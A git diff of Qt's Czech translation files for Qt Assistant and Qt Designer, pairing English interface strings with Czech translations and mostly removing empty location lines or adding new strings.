+        &Najít
+    
+    
         Find &Next
         Hledat &dál
     
     
-        
         Find &Previous
         Najít &předchozí
     
     
-        
         Preferences...
         Nastavení...
     
     
-        
         Zoom &in
         &Zvětšit
     
     
-        
         Zoom &out
         &Zmenšit
     
     
-        
         Normal &Size
         Obvyklá &velikost
     
     
-        
         Ctrl+0
         Ctrl+0
     
     
-        
         ALT+C
         ALT+C
     
     
-        
         ALT+I
         ALT+I
     
     
-        
         ALT+S
         ALT+S
     
     
-        
         &Home
         &Začáteční strana
     
     
-        
         &Back
         &Zpět
     
     
-        
         &Forward
         &Dopředu
     
     
-        
         Sync with Table of Contents
         Seřídit stranu s kartou obsahu
     
     
-        
+        Sync
+        Seřídit
+    
+    
         Next Page
         Další strana
     
     
-        
         Ctrl+Alt+Right
         Ctrl+Alt+Right
     
     
-        
         Previous Page
         Předchozí strana
     
     
-        
         Ctrl+Alt+Left
         Ctrl+Alt+Left
     
     
-        
+        Could not register file '%1': %2
+        Nepodařilo se zaznamenat soubor '%1': %2
+    
+    
         Add Bookmark...
-        Přidat záložku...
+        Přidat záložku...
     
     
-        
         About...
         O...
     
     
-        
         Navigation Toolbar
         Navigační pruh
     
     
-        
         Toolbars
         Nástrojové pruhy
     
     
-        
         Filter Toolbar
         Filtrovací pruh
     
     
-        
         Filtered by:
         Filtr:
     
     
-        
         Address Toolbar
         Adresní pruh
     
     
-        
         Address:
         Adresa:
     
     
-        
         Could not find the associated content item.
         Nepodařilo se najít příslušnou položku obsahu.
     
     
-        
+        <center><h3>%1</h3><p>Version %2</p></center><p>Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).</p>
+        <center><h3>%1</h3><p>Verze %2</p></center><p>Autorské právo (C) 2009 Nokia Corporation a/nebo její dceřinná společnost(i).</p>
+    
+    
         About %1
         O %1
     
     
-        
         Updating search index
         Sestavuje se rejstřík hledání
     
     
-        
         Looking for Qt Documentation...
         Hledá se dokumentace ke Qt...
     
     
-        
         &Window
         &Okno
     
     
-        
         Minimize
         Zmenšit
     
     
-        
         Ctrl+M
         Ctrl+M
     
     
-        
         Zoom
         Zvětšení
     
     
-        
         &File
         &Soubor
     
     
-        
         &Edit
         &Úpravy
     
     
-        
         &View
         &Pohled
     
     
-        
         &Go
         &Jít na
     
     
-        
         ALT+Home
         ALT+Home
     
     
-        
         &Bookmarks
         &Záložky
     
     
-        
         &Help
         &Nápověda
     
     
-        
         ALT+O
         ALT+O
     
     
-        
         CTRL+D
-        CTRL+D
+        CTRL+D
+    
+
+
+    OutputPage
+    
+        Form
+        Formulář
+    
+    
+        Project file name:
+        Název projektového souboru:
+    
+    
+        Collection file name:
+        Název sbírkového souboru:
+    
+    
+        Output File Names
+        Názvy výstupních souborů
+    
+    
+        Specify the file names for the output files.
+        Zadejte názvy souborů pro výstupní soubory.
+    
+    
+        Convert...
+        Převést...
+    
+    
+        Qt Help Project File
+        Projektový soubor s nápovědou Qt
+    
+    
+        Qt Help Collection Project File
+        Projektový sbírkový soubor s nápovědou Qt
+    
+    
+        The specified file %1 already exist.
+
+Do you want to remove it?
+        Zadaný soubor %1 již existuje.
+
+Chcete jej odstranit?
+    
+    
+        Remove
+        Odstranit
+    
+    
+        Cancel
+        Zrušit
+    
+
+
+    PathPage
+    
+        Form
+        Formulář
+    
+    
+        File filters:
+        Souborové filtry:
+    
+    
+        Documentation source file paths:
+        Cesty ke zdrojovým souborům s dokumentací:
+    
+    
+        Add
+        Přidat
+    
+    
+        Remove
+        Odstranit
+    
+    
+        Source File Paths
+        Cesty ke zdrojovým souborům
+    
+    
+        Specify the paths where the sources files are located. By default, all files in those directories matched by the file filter will be included.
+        Zadejte cesty k místům, v nichž jsou uloženy zdrojové soubory. Ve výchozím nastavení budou zahrnuty všechny soubory v těchto adresářích odpovídající podle souborového filtru.
+    
+    
+        Source File Path
+        Cesta ke zdrojovému souboru
     
 
 
     PreferencesDialog
     
-        
-        
         Add Documentation
         Přidat dokumentaci
     
     
-        
         Qt Compressed Help Files (*.qch)
-        Stlačené soubory s nápovědoun (*.qch)
+        Stlačené soubory s nápovědou (*.qch)
     
     
-        
         The specified file is not a valid Qt Help File!
         Zadaný soubor není platným souborem nápovědy ke Qt.
     
     
-        
         The namespace %1 is already registered!
         Jmenný prostor %1 je již zaznamenám!
     
     
-        
         Remove Documentation
         Odstranit dokumentaci
     
     
-        
         Some documents currently opened in Assistant reference the documentation you are attempting to remove. Removing the documentation will close those documents.
         Některé v současnosti otevřené dokumenty pocházejí z dokumentace, kterou se právě pokoušíte odstranit. Při odstraňování budou zavřeny.
     
     
-        
         Cancel
         Zrušit
     
     
-        
         OK
         OK
     
     
-        
         Use custom settings
         Použít nastavení stanovená uživatelem
     
@@ -783,239 +1274,334 @@
 
     PreferencesDialogClass
     
-        
         Preferences
         Nastavení
     
     
-        
         Fonts
         Písma
     
     
-        
         Font settings:
         Nastavení písem:
     
     
-        
         Browser
         Prohlížeč
     
     
-        
         Application
         Program
     
     
-        
         Filters
         Filtr
     
     
-        
         Filter:
         Filtr:
     
     
-        
         Attributes:
         Vlastnosti:
     
     
-        
         1
         1
     
     
-        
         Add
         Přidat
     
     
-        
         Remove
         Odstranit
     
     
-        
         Documentation
         Dokumentace
     
     
-        
         Registered Documentation:
         Zaznamenaná dokumentace:
     
     
-        
         Add...
         Přidat...
     
     
-        
         Options
         Volby
     
     
-        
         Current Page
         Nynější strana
     
     
-        
         Restore to default
         Obnovit výchozí nastavení
     
     
-        
         Homepage
         Začáteční stránka
     
     
-        
         On help start:
         Na začátek nápovědy:
     
     
-        
         Show my home page
         Ukázat moji domovskou stránku
     
     
-        
         Show a blank page
         Ukázat prázdnou stránku
     
     
-        
         Show my tabs from last session
         Ukázat mé karty z posledního sezení
     
     
-        
         Blank Page
         Prázdná strana
     
 
 
+    QCollectionGenerator
+    
+        Unknown token at line %1.
+        Neznámé klíčové slovo na řádku %1.
+    
+    
+        Unknown token at line %1. Expected "QtHelpCollectionProject".
+        Neznámé klíčové slovo na řádku %1. Očekáván "QtHelpCollectionProject".
+    
+    
+        Missing end tags.
+        Chybí zavírající prvky.
+    
+    
+        Missing input or output file for help file generation.
+        Chybí některé pro vytvoření souboru s nápovědou potřebné vstupní nebo výstupní soubory.
+    
+    
+        Missing output file name.
+        Nebyl zadán žádný název pro výstupní soubor.
+    
+    
+        Qt Collection Generator version 1.0 (Qt %1)
+
+        Qt Collection Generator verze 1.0 (Qt %1)
+
+    
+    
+        Missing collection config file.
+        Soubor s nastavením potřebný pro sbírku chybí.
+    
+    
+        
+Usage:
+
+qcollectiongenerator <collection-config-file> [options]
+
+  -o <collection-file>   Generates a collection file
+                         called <collection-file>. If
+                         this option is not specified
+                         a default name will be used.
+  -v                     Displays the version of
+                         qcollectiongenerator.
+
+
+        
+    
+    
+        Could not open %1.
+
+        Nepodařilo se otevřít %1.
+
+    
+    
+        Reading collection config file...
+
+        Čte se soubor s nastavením pro sbírku...
+
+    
+    
+        Collection config file error: %1
+
+        Chyba v souboru s nastavením pro sbírku: %1
+
+    
+    
+        Generating help for %1...
+
+        Vytváří se nápověda pro %1...
+
+    
+    
+        Creating collection file...
+
+        Vytváří se sbírkový soubor...
+
+    
+    
+        The file %1 cannot be overwritten.
+
+        Soubor %1 nelze přepsat.
+
+    
+    
+        Cannot open %1.
+
+        Nelze otevřít %1.
+
+    
+    
+        Cannot open referenced image file %1.
+
+        Nelze otevřít odkazovaný obrázkový soubor %1.
+
+    
+
+
+    QHelpGenerator
+    
+        Missing output file name.
+        Nebyl zadán žádný název pro výstupní soubor.
+    
+    
+        Qt Help Generator version 1.0 (Qt %1)
+
+        Qt Collection Generator verze 1.0 (Qt %1)
+
+    
+    
+        Missing Qt help project file.
+        Chybí projektový soubor s nápovědou Qt.
+    
+    
+        
+Usage:
+
+qhelpgenerator <help-project-file> [options]
+
+  -o <compressed-file>   Generates a Qt compressed help
+                         file called <compressed-file>.
+                         If this option is not specified
+                         a default name will be used.
+  -c                     Checks whether all links in HTML files
+                         point to files in this help project.
+  -v                     Displays the version of 
+                         qhelpgenerator.
+
+
+        
+    
+    
+        Could not open %1.
+
+        Nepodařilo se otevřít %1.
+
+    
+    
+        Could not create output directory: %1
+
+        Nepodařilo se vytvořit výstupní adresář: %1
+
+    
+
+
     QObject
     
-        
         The specified collection file does not exist!
-        Zadaný sbírkový soubor nelze najít!
+        Zadaný sbírkový soubor nelze najít!
     
     
-        
         Missing collection file!
-        Chybějící sbírkový soubor!
+        Chybějící sbírkový soubor!
     
     
-        
         Invalid URL!
-        Neplatné URL!
+        Neplatné URL!
     
     
-        
         Missing URL!
-        Chybějící URL!
+        Chybějící URL!
     
     
-        
-        
-        
         Unknown widget: %1
-        Neznámý prvek: %1
+        Neznámý prvek: %1
     
     
-        
-        
-        
         Missing widget!
-        Chybějící prvek!
+        Chybějící prvek!
     
     
-        
-        
         The specified Qt help file does not exist!
-        Zadaný soubor s nápovědou ke Qt nelze najít!
+        Zadaný soubor s nápovědou ke Qt nelze najít!
     
     
-        
-        
         Missing help file!
-        Chybějící soubor s nápovědou!
+        Chybějící soubor s nápovědou!
     
     
-        
         Missing filter argument!
-        Chybějící argument pro filtr!
+        Chybějící argument pro filtr!
     
     
-        
         Unknown option: %1
-        Neznámá volba: %1
+        Neznámá volba: %1
     
     
-        
-        
         Qt Assistant
-        Qt Assistant
+        Qt Assistant
     
     
-        
         Could not register documentation file
 %1
 
 Reason:
 %2
-        Soubor s dokumentací %1 nelze zaznamenat
+        Soubor s dokumentací %1 nelze zaznamenat
 
 Důvod:
 %2
     
     
-        
         Documentation successfully registered.
-        Dokumentace byla úspěšně zaznamenána.
+        Dokumentace byla úspěšně zaznamenána.
     
     
-        
         Could not unregister documentation file
 %1
 
 Reason:
 %2
-        Zaznamenání souboru s dokumentací %1 nelze zrušit
+        Zaznamenání souboru s dokumentací %1 nelze zrušit
 
 Grund:
 %2
     
     
-        
         Documentation successfully unregistered.
-        Dokumentace byla úspěšně odstraněna.
+        Dokumentace byla úspěšně odstraněna.
     
     
-        
         Cannot load sqlite database driver!
-        Databázový ovladač pro SQLite nelze nahrát!
+        Databázový ovladač pro SQLite nelze nahrát!
     
     
-        
         The specified collection file could not be read!
-        Zadaný sbírkový soubor nelze přečíst!
+        Zadaný sbírkový soubor nelze přečíst!
     
 
 
     RemoteControl
     
-        
         Debugging Remote Control
         Ladí se dálkové ovládání
     
     
-        
         Received Command: %1 %2
         Přijatý příkaz: %1 : %2
     
@@ -1023,22 +1609,18 @@ Grund:
 
     SearchWidget
     
-        
         &Copy
         &Kopírovat
     
     
-        
         Copy &Link Location
         &Kopírovat adresu odkazu
     
     
-        
         Open Link in New Tab
         Otevřít odkaz v nové kartě
     
     
-        
         Select All
         Vybrat vše
     
@@ -1046,27 +1628,22 @@ Grund:
 
     TopicChooser
     
-        
         Choose a topic for <b>%1</b>:
         Vyberte námět pro <b>%1</b>:
     
     
-        
         Choose Topic
         Vybrat námět
     
     
-        
         &Topics
         &Náměty
     
     
-        
         &Display
         &Zobrazit
     
     
-        
         &Close
         &Zavřít
     
diff --git a/translations/designer_cs.ts b/translations/designer_cs.ts
old mode 100644
new mode 100755
index ea33a57..4099695
--- a/translations/designer_cs.ts
+++ b/translations/designer_cs.ts
@@ -4,45 +4,80 @@
 
     AbstractFindWidget
     
-        
         &Previous
         &Předchozí
     
     
-        
         &Next
         &Další
     
     
-        
         &Case sensitive
         &Rozlišující velká a malá písmena
     
     
-        
         Whole &words
         Celá &slova
     
     
-        
         <img src=":/trolltech/shared/images/wrap.png">&nbsp;Search wrapped
         <img src=":/trolltech/shared/images/wrap.png">&nbsp;Hledání dosáhlo konce
     
 
 
+    AbstractItemEditor
+    
+        Selectable
+        Vybratelné
+    
+    
+        Editable
+        Upravitelné
+    
+    
+        DragEnabled
+        TáhnutíPovoleno
+    
+    
+        DropEnabled
+        UpuštěníPovoleno
+    
+    
+        UserCheckable
+        ZaškrtnutelnéUživatelem
+    
+    
+        Enabled
+        Povoleno
+    
+    
+        Tristate
+        Tristate
+    
+    
+        Unchecked
+        Zaškrtnutí zrušeno
+    
+    
+        PartiallyChecked
+        ČástečněZaškrtnuto
+    
+    
+        Checked
+        Zaškrtnuto
+    
+
+
     AddLinkDialog
     
-        
         Insert Link
         Vložit odkaz
     
     
-        
         Title:
         Název:
     
     
-        
         URL:
         URL:
     
@@ -50,7 +85,6 @@
 
     AppFontDialog
     
-        
         Additional Fonts
         Dodatečná písma
     
@@ -58,37 +92,30 @@
 
     AppFontManager
     
-        
         '%1' is not a file.
         '%1' není soubor.
     
     
-        
         The font file '%1' does not have read permissions.
         Soubor s písmem '%1' nemá oprávnění ke čtení.
     
     
-        
         The font file '%1' is already loaded.
         Soubor s písmem '%1' je již nahrán.
     
     
-        
         The font file '%1' could not be loaded.
         Soubor s písmem '%1' se nepodařilo nahrát.
     
     
-        
         '%1' is not a valid font id.
         '%1' není platným písmovým ID.
     
     
-        
         There is no loaded font matching the id '%1'.
         Není nahráno žádné písmo s ID '%1'.
     
     
-        
         The font '%1' (%2) could not be unloaded.
         Písmo '%1' (%2) se nepodařilo uvolnit z paměti.
     
@@ -96,52 +123,42 @@
 
     AppFontWidget
     
-        
         Fonts
         Písma
     
     
-        
         Add font files
         Přidat soubory s písmy
     
     
-        
         Remove current font file
         Odstranit současný soubor s písmem
     
     
-        
         Remove all font files
         Odstranit všechny soubory s písmy
     
     
-        
         Add Font Files
         Přidat soubory s písmy
     
     
-        
         Font files (*.ttf)
         Soubory s písmy (*.ttf)
     
     
-        
         Error Adding Fonts
         Chyba při přidávání písem
     
     
-        
         Error Removing Fonts
         Chyba při odstraňování písem
     
     
-        
         Remove Fonts
         Odstranit písma
     
     
-        
         Would you like to remove all fonts?
         Chcete odstranit všechna písma?
     
@@ -149,12 +166,10 @@
 
     AppearanceOptionsWidget
     
-        
         Form
         Formulář
     
     
-        
         User Interface Mode
         Okenní režim
     
@@ -162,17 +177,14 @@
 
     AssistantClient
     
-        
         Unable to send request: Assistant is not responding.
         Chyba při posílání požadavku: Program Assistant neodpovídá.
     
     
-        
         The binary '%1' does not exist.
         Proveditelný soubor '%1' neexistuje.
     
     
-        
         Unable to launch assistant (%1).
         Program Assistant nelze spustit (%1).
     
@@ -180,92 +192,74 @@
 
     BrushPropertyManager
     
-        
         Style
         Styl
     
     
-        
         No brush
         Žádný vzor
     
     
-        
         Solid
         Plný
     
     
-        
         Dense 1
         Hustota 1
     
     
-        
         Dense 2
         Hustota 2
     
     
-        
         Dense 3
         Hustota 3
     
     
-        
         Dense 4
         Hustota 4
     
     
-        
         Dense 5
         Hustota 5
     
     
-        
         Dense 6
         Hustota 6
     
     
-        
         Dense 7
         Hustota 7
     
     
-        
         Horizontal
         Vodorovný
     
     
-        
         Vertical
         Svislý
     
     
-        
         Cross
         Křížící se čáry
     
     
-        
         Backward diagonal
         Zpětné úhlopříčky
     
     
-        
         Forward diagonal
         Vpřed směřující úhlopříčky
     
     
-        
         Crossing diagonal
         Křížící se úhlopříčky
     
     
-        
         Color
         Barva
     
     
-        
         [%1, %2]
         [%1, %2]
     
@@ -273,360 +267,277 @@
 
     Command
     
-        
-        
         Change signal
         Změnit signál
     
     
-        
-        
         Change slot
         Změnit zdířku
     
     
-        
         Change signal-slot connection
         Změnit spojení signál-zdířka
     
     
-        
         Change sender
         Změnit vysílač
     
     
-        
         Change receiver
         Změnit přijímač
     
     
-        
         Add connection
         Přidat spojení
     
     
-        
         Adjust connection
         Nastavit spojení
     
     
-        
         Delete connections
         Smazat spojení
     
     
-        
         Change source
         Změnit zdroj
     
     
-        
         Change target
         Změnit koncový bod
     
     
-        
         Insert '%1'
         Vložit '%1'
     
     
-        
         Raise '%1'
         '%1' dopředu
     
     
-        
         Lower '%1'
         '%1' dozadu
     
     
-        
         Delete '%1'
         Smazat '%1'
     
     
-        
         Reparent '%1'
         Přiřadit jiný prvek '%1'
     
     
-        
         Promote to custom widget
         Vytvořit zástupný symbol pro uživatelsky stanovený prvek
     
     
-        
         Demote from custom widget
         Odstranit zástupný symbol pro uživatelsky stanovenou třídu
     
     
-        
         Lay out using grid
         Rozmístit předměty tabulkově
     
     
-        
         Lay out vertically
         Rozmístit předměty svisle
     
     
-        
         Lay out horizontally
         Rozmístit předměty vodorovně
     
     
-        
         Break layout
         Zrušit rozvržení
     
     
-        
-        
-        
         Move Page
         Posunout stranu
     
     
-        
-        
-        
-        
         Delete Page
         Smazat stranu
     
     
-        
-        
         Page
         Strana
     
     
-        
         page
         Strana
     
     
-        
-        
-        
-        
         Insert Page
         Vložit stranu
     
     
-        
         Change Tab order
         Změnit pořadí karet
     
     
-        
         Create Menu Bar
         Vytvořit nabídkový pruh
     
     
-        
         Delete Menu Bar
         Smazat nabídkový pruh
     
     
-        
         Create Status Bar
         Vytvořit stavový pruh
     
     
-        
         Delete Status Bar
         Smazat stavový pruh
     
     
-        
         Add Tool Bar
         Přidat nástrojový pruh
     
     
-        
         Add Dock Window
         Přidat ukotvené okno
     
     
-        
         Adjust Size of '%1'
         Upravit velikost '%1'
     
     
-        
         Change Form Layout Item Geometry
         Změnit uspořádání prvku rozvržení formuláře
     
     
-        
         Change Layout Item Geometry
         Změnit uspořádání prvku rozvržení
     
     
-        
         Change Table Contents
         Změnit obsah tabulky
     
     
-        
         Change Tree Contents
         Změnit obsah stromu
     
     
-        
-        
         Add action
         Přidat činnost
     
     
-        
-        
         Remove action
         Odstranit činnost
     
     
-        
         Add menu
         Přidat nabídku
     
     
-        
         Remove menu
         Odstranit nabídku
     
     
-        
         Create submenu
         Vytvořit vedlejší nabídku
     
     
-        
         Delete Tool Bar
         Smazat nástrojový pruh
     
     
-        
         Set action text
         Nastavit text k činnosti
     
     
-        
         Insert action
         Vložit činnost
     
     
-        
-        
         Move action
         Posunout činnost
     
     
-        
         Change Title
         Změnit název
     
     
-        
         Insert Menu
         Vložit nabídku
     
     
-        
         Change signals/slots
         Změnit signály/zdířky
     
     
-        
         Delete Subwindow
         Smazat podokno
     
     
-        
         Insert Subwindow
         Vložit podokno
     
     
-        
         subwindow
         Podokno
     
     
-        
         Subwindow
         Podokno
     
     
-        
         Change Z-order of '%1'
         Změnit Z-pořadí '%1'
     
     
-        
         Simplify Grid Layout
         Zjednodušit tabulkové rozvržení
     
     
-        
         Create button group
         Seskupit tlačítka
     
     
-        
         Break button group
         Zrušit seskupení tlačítek
     
     
-        
         Break button group '%1'
         Zrušit seskupení '%1'
     
     
-        
         Add buttons to group
         Přidat tlačítka do seskupení
     
     
-        
         Remove buttons from group
         Odstranit tlačítka ze seskupení
     
     
-        
         Morph %1/'%2' into %3
         MorphWidgetCommand description
         Přeměnit %1/'%2' na %3
     
     
-        
         Change layout of '%1' from %2 to %3
         Změnit rozvržení '%1' z %2 na %3
     
     
-        
-        
         Add '%1' to '%2'
         Command description for adding buttons to a QButtonGroup
         Přidat '%1' k '%2'
     
     
-        
         Remove '%1' from '%2'
         Command description for removing buttons from a QButtonGroup
         Odstranit '%1' z '%2'
     
     
-        
         Change script
         Změnit skript
     
     
-        
         Changed '%1' of '%2'
         Změněno '%1' z '%2'
     
     
-        
         Changed '%1' of %n objects
         Singular will never be shown
         
@@ -636,12 +547,10 @@
         
     
     
-        
         Reset '%1' of '%2'
         Znovu nastavit '%1' '%2'
     
     
-        
         Reset '%1' of %n objects
         Singular will never be shown
         
@@ -651,12 +560,10 @@
         
     
     
-        
         Add dynamic property '%1' to '%2'
         Přidat dynamickou vlastnost '%1' do '%2'
     
     
-        
         Add dynamic property '%1' to %n objects
         Singular will never be shown
         
@@ -666,12 +573,10 @@
         
     
     
-        
         Remove dynamic property '%1' from '%2'
         Odstranit dynamickou vlastnost '%1' z '%2'
     
     
-        
         Remove dynamic property '%1' from %n objects
         
             Odstranit dynamickou vlastnost '%1' z jednoho předmětu
@@ -683,22 +588,18 @@
 
     ConnectDialog
     
-        
         Configure Connection
         Upravit spojení
     
     
-        
         GroupBox
         GroupBox
     
     
-        
         Edit...
         Upravit...
     
     
-        
         Show signals and slots inherited from QWidget
         Ukázat signály a zdířky zděděné z QWidget
     
@@ -706,17 +607,14 @@
 
     ConnectionDelegate
     
-        
         <object>
         <Předmět>
     
     
-        
         <signal>
         <Signál>
     
     
-        
         <slot>
         <Zdířka>
     
@@ -724,19 +622,16 @@
 
     DPI_Chooser
     
-        
         Standard (96 x 96)
         Embedded device standard screen resolution
         Obvyklé rozlišení (96 x 96)
     
     
-        
         Greenphone (179 x 185)
         Embedded device screen resolution
         Greenphone (179 x 185)
     
     
-        
         High (192 x 192)
         Embedded device high definition screen resolution
         Vysoké rozlišení (192 x 192)
@@ -745,89 +640,72 @@
 
     Designer
     
-        
         Qt Designer
         Qt Designer
     
     
-        
         Unable to launch %1.
         %1 se nepodařilo spustit.
     
     
-        
         %1 timed out.
         Překročení času při provedení %1.
     
     
-        
         This file contains top level spacers.<br>They have <b>NOT</b> been saved into the form.
         Formulář obsahuje volně stojící prvky rozložení, které <b>NEBYLY</b> uloženy do formuláře.
     
     
-        
         Perhaps you forgot to create a layout?
         Přidal jste rozvržení?
     
     
-        
         This file cannot be read because it was created using %1.
         Soubor nelze přečíst, protože byl vytvořen %1.
     
     
-        
         This file was created using Designer from Qt-%1 and cannot be read.
         Soubor nelze přečíst, protože byl vytvořen programem Designer ve verzi %1.
     
     
-        
         This file cannot be read because the extra info extension failed to load.
         Soubor nelze přečíst (Chyba při nahrávání dat ExtraInfoExtension).
     
     
-        
         The converted file could not be read.
         Převedený soubor se nepodařilo přečíst.
     
     
-        
         Invalid UI file: The root element <ui> is missing.
         Chyba při čtení souboru s rozhraním: Kořenový prvek <ui> chybí.
     
     
-        
         An error has occurred while reading the UI file at line %1, column %2: %3
         Chyba při čtení souboru s rozhraním, řádek %1, sloupec %2: %3
     
     
-        
         This file was created using Designer from Qt-%1 and will be converted to a new form by Qt Designer.
         Soubor byl vytvořen programem Designer ve verzi %1 a bude převeden na nový formulář pomocí programu Qt Designer.
     
     
-        
         The old form has not been touched, but you will have to save the form under a new name.
         Starý formulář zůstává nezměněn. Nový formulář musí být uložen pod novým názvem.
     
     
-        
         This file was created using Designer from Qt-%1 and could not be read:
 %2
         Čtení Designerem %1 vytvořeného souboru se nezdařilo:
 %2
     
     
-        
         Please run it through <b>uic3&nbsp;-convert</b> to convert it to Qt-4's ui format.
         Přeměňte to, prosím, příkazem <b>uic3&nbsp;-convert</b> na formát rozhraní Qt 4.
     
     
-        
         Custom Widgets
         Uživatelsky stanovené prvky
     
     
-        
         Promoted Widgets
         Zástupný symbol pro uživatelsky stanovené prvky
     
@@ -835,12 +713,10 @@
 
     DesignerMetaEnum
     
-        
         %1 is not a valid enumeration value of '%2'.
         %1 není platnou výčtovou hodnotou '%2'.
     
     
-        
         '%1' could not be converted to an enumeration value of type '%2'.
         '%1' se nepodařilo převést na výčtovou hodnotu typu '%2'.
     
@@ -848,7 +724,6 @@
 
     DesignerMetaFlags
     
-        
         '%1' could not be converted to a flag value of type '%2'.
         '%1' se nepodařilo převést na příznakovou hodnotu typu '%2'.
     
@@ -856,13 +731,11 @@
 
     DeviceProfile
     
-        
         '%1' is not a number.
         Reading a number for an embedded device profile
         '%1' není platným číslem.
     
     
-        
         An invalid tag <%1> was encountered.
          Byl zjištěn neplatný prvek'%1'.
     
@@ -870,27 +743,22 @@
 
     DeviceProfileDialog
     
-        
         &Family
         &Písmová rodina
     
     
-        
         &Point Size
         &Bodová velikost
     
     
-        
         Style
         Styl
     
     
-        
         Device DPI
         Rozlišení obrazovky
     
     
-        
         Name
         Název
     
@@ -898,57 +766,46 @@
 
     DeviceSkin
     
-        
         The image file '%1' could not be loaded.
         Soubor s obrázkem '%1' se nepodařilo nahrát.
     
     
-        
         The skin directory '%1' does not contain a configuration file.
         Adresář se vzhledem '%1' neobsahuje žádný soubor s nastavením.
     
     
-        
         The skin configuration file '%1' could not be opened.
         Soubor s nastavením vzhledu '%1' se nepodařilo otevřít.
     
     
-        
         Syntax error: %1
         Chyba ve skladbě: %1
     
     
-        
         The skin cursor image file '%1' does not exist.
         Soubor s obrázkem pro vzhled ukazovátka '%1' neexistuje.
     
     
-        
         Syntax error in area definition: %1
         Vymezení oblasti obsahuje chybu ve skladbě: %1
     
     
-        
         Mismatch in number of areas, expected %1, got %2.
         Zadaný počet oblastí (%1) neodpovídá; byly nalezeny %2 oblasti.
     
     
-        
         The skin configuration file '%1' could not be read: %2
         Soubor s nastavením vzhledu '%1' se nepodařilo přečíst: %2
     
     
-        
         The skin "up" image file '%1' does not exist.
         Soubor s nastavením vzhledu '%1' (nahoru) neexistuje.
     
     
-        
         The skin "down" image file '%1' does not exist.
         Soubor s nastavením vzhledu '%1' (dolů) neexistuje.
     
     
-        
         The skin "closed" image file '%1' does not exist.
         Soubor s nastavením vzhledu '%1' (zavřeno) neexistuje.
     
@@ -956,7 +813,6 @@
 
     EmbeddedOptionsControl
     
-        
         <html><table><tr><td><b>Font</b></td><td>%1, %2</td></tr><tr><td><b>Style</b></td><td>%3</td></tr><tr><td><b>Resolution</b></td><td>%4 x %5</td></tr></table></html>
         Format embedded device profile description
         <html><table><tr><td><b>Font</b></td><td>%1, %2</td></tr><tr><td><b>Stil</b></td><td>%3</td></tr><tr><td><b>Rozlišení</b></td><td>%4 x %5</td></tr></table></html>
@@ -965,13 +821,11 @@
 
     EmbeddedOptionsPage
     
-        
         Embedded Design
         Tab in preferences dialog
         Vložený návrh
     
     
-        
         Device Profiles
         EmbeddedOptionsControl group box"
         Profily zařízení
@@ -980,27 +834,22 @@
 
     FontPanel
     
-        
         Font
         Písmo
     
     
-        
         &Writing system
         Způsob &psaní
     
     
-        
         &Family
         &Písmová rodina
     
     
-        
         &Style
         &Styl
     
     
-        
         &Point size
         &Bodová velikost
     
@@ -1008,22 +857,18 @@
 
     FontPropertyManager
     
-        
         PreferDefault
         Upřednostňovat výchozí
     
     
-        
         NoAntialias
         Žádné vyhlazování
     
     
-        
         PreferAntialias
         Upřednostňovat vyhlazování
     
     
-        
         Antialiasing
         Vyhlazování
     
@@ -1031,43 +876,45 @@
 
     FormBuilder
     
-        
         Invalid stretch value for '%1': '%2'
-        Parsing layout stretch values
+        Parsing layout stretch values
+----------
+Parsing layout stretch values
+----------
+Parsing layout stretch values
         Neplatná hodnota roztažení pro '%1': '%2'
     
     
-        
         Invalid minimum size for '%1': '%2'
-        Parsing grid layout minimum size values
+        Parsing grid layout minimum size values
+----------
+Parsing grid layout minimum size values
+----------
+Parsing grid layout minimum size values
         Neplatná nejmenší velikost pro '%1': '%2'
     
 
 
     FormEditorOptionsPage
     
-        
         %1 %
+        Zoom percentage
         %1 %
     
     
-        
         Preview Zoom
         Velikost zvětšení pro náhled
     
     
-        
         Default Zoom
         Výchozí zvětšení
     
     
-        
         Forms
         Tab in preferences dialog
         Formuláře
     
     
-        
         Default Grid
         Výchozí mřížka pro nové formuláře
     
@@ -1075,37 +922,30 @@
 
     FormLayoutRowDialog
     
-        
         Add Form Layout Row
         Přidat řádek s rozvržením formuláře
     
     
-        
         &Label text:
         &Text popisku:
     
     
-        
         Field &type:
         &Typ datového pole:
     
     
-        
         &Field name:
         &Název pole:
     
     
-        
         &Buddy:
         &Kamarád:
     
     
-        
         &Row:
         &Řádek:
     
     
-        
         Label &name:
         &Název popisku:
     
@@ -1113,12 +953,10 @@
 
     FormWindow
     
-        
         Unexpected element <%1>
         Neplatný prvek <%1>
     
     
-        
         Error while pasting clipboard contents at line %1, column %2: %3
         Chyba při vložení obsahu schránky, řádek %1, sloupec %2: %3
     
@@ -1126,62 +964,50 @@
 
     FormWindowSettings
     
-        
         Form Settings
         Nastavení formuláře
     
     
-        
         Layout &Default
         &Výchozí rozvržení
     
     
-        
         &Spacing:
         &Odstup:
     
     
-        
         &Margin:
         &Okraj:
     
     
-        
         &Layout Function
         &Funkce rozvržení
     
     
-        
         Ma&rgin:
         Ok&raj:
     
     
-        
         Spa&cing:
         Odstu&p:
     
     
-        
         Embedded Design
         Vložený návrh
     
     
-        
         &Author
         &Autor
     
     
-        
         &Include Hints
         &Zahrnout rady
     
     
-        
         &Pixmap Function
         &Funkce pixmapy
     
     
-        
         Grid
         Mřížka
     
@@ -1189,7 +1015,6 @@
 
     IconSelector
     
-        
         All Pixmaps (
         Všechny soubory s pixmapami (
     
@@ -1197,7 +1022,6 @@
 
     ItemPropertyBrowser
     
-        
         XX Icon Selected off
         Sample string to determinate the width for the first column of the list item property browser
         Vybraná ikona, z
@@ -1206,33 +1030,27 @@
 
     MainWindowBase
     
-        
         Main
         Not currently used (main tool bar)
         Hlavní pruh s nástroji
     
     
-        
         File
         Soubor
     
     
-        
         Edit
         Úpravy
     
     
-        
         Tools
         Nástroje
     
     
-        
         Form
         Formulář
     
     
-        
         Qt Designer
         Qt Designer
     
@@ -1240,52 +1058,42 @@
 
     NewForm
     
-        
         C&reate
         &Vytvořit nový z předlohy
     
     
-        
         Recent
         Naposledy otevřený
     
     
-        
         &Close
         &Zavřít
     
     
-        
         &Open...
         &Otevřít...
     
     
-        
         &Recent Forms
         &Naposledy otevřené formuláře
     
     
-        
         Read error
         Chyba při čtení
     
     
-        
         New Form
         Nový formulář
     
     
-        
         Show this Dialog on Startup
         Ukázat tento dialog při spuštění
     
     
-        
         A temporary form file could not be created in %1.
         V adresáři %1 se nepodařilo vytvořit dočasný soubor s formulářem.
     
     
-        
         The temporary form file %1 could not be written.
         Dočasný soubor s formulářem %1 se nepodařilo zapsat.
     
@@ -1293,22 +1101,18 @@
 
     ObjectInspectorModel
     
-        
         Object
         Předmět
     
     
-        
         Class
         Třída
     
     
-        
         separator
         Oddělovač
     
     
-        
         <noname>
         <nepojmenovaný>
     
